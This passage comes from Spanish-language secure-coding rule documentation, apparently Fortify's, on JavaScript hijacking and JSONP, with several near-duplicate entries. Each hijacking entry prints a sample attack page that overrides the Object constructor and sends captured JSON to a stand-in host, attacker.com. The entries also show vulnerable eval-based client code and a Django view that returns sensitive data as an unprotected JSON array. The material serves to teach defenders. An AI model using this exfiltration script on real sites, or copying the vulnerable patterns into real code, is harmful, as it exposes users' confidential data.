tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.java.javascript_hijacking
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web aplican la directiva de mismo origen para proteger a los usuarios de sitios web malintencionados. La directiva de mismo origen exige que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web deben provenir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un atacante eludir la directiva de mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. La laguna jurídica en la directiva de mismo origen es que permite que JavaScript de cualquier sitio web se incluya y ejecute en el contexto de cualquier otro sitio web. Aunque un sitio malintencionado no puede examinar directamente los datos cargados desde un sitio vulnerable en el cliente, todavía puede aprovechar esta laguna configurando un entorno que le permita presenciar la ejecución de JavaScript y cualquier efecto secundario pertinente que pueda tener. Dado que muchas aplicaciones Web 2.0 utilizan JavaScript como mecanismo de transporte de datos, a menudo son vulnerables, mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable. Las matrices de JavaScript pueden ser robadas si el motor JavaScript del explorador permite el envenenamiento del constructor por matrices.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si:
1) Utiliza JavaScript como un formato de transferencia de datos.
2) Administra datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks llama la atención ante posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podría dar servicio a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.

Ejemplo 2: el siguiente código muestra un método de vista de Django de ejemplo que envía una respuesta JSON que contiene datos confidenciales en forma de una matriz de JSON.


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[5] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[8] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
JSONP es una técnica de comunicación insegura que solo debería utilizarse cuando no haya datos personales ni confidenciales implicados e inmunizando la función de devolución de llamada.
Explanation
Debido a su diseño, JSONP permite realizar solicitudes entre dominios pero carece de todo mecanismo para restringir o verificar el origen de las solicitudes. Un sitio malintencionado puede realizar fácilmente una solicitud JSONP en nombre del usuario y procesar la respuesta JSON. Por este motivo, se recomienda encarecidamente evitar esta técnica de comunicación cuando se envíen datos confidenciales o información personalmente identificable.
Debido a su diseño, JSONP es un ataque XSS autoinfligido, ya que para un procesamiento JSON adecuado es necesario que el nombre de la función de devolución de llamada se refleje en el sitio solicitante. Es obligatorio validar e inmunizar el nombre de la función de devolución de llamada para evitar la inyección de JavaScript. Con el fin de inmunizar el nombre de la función de devolución de llamada, considere la posibilidad de crear una lista de caracteres permitidos, cuando sea posible, o admita únicamente caracteres alfanuméricos.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 346
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
JSONP es una técnica de comunicación insegura que solo debería utilizarse cuando no haya datos personales ni confidenciales implicados.
Explanation
Debido a su diseño, JSONP permite realizar solicitudes entre dominios pero carece de todo mecanismo para restringir y verificar el origen de las solicitudes. Un sitio malintencionado puede realizar fácilmente una solicitud JSONP en nombre del usuario y procesar la respuesta JSON. Por este motivo, se recomienda encarecidamente evitar esta técnica de comunicación cuando se envíen datos confidenciales o información de identificación personal.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 346
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
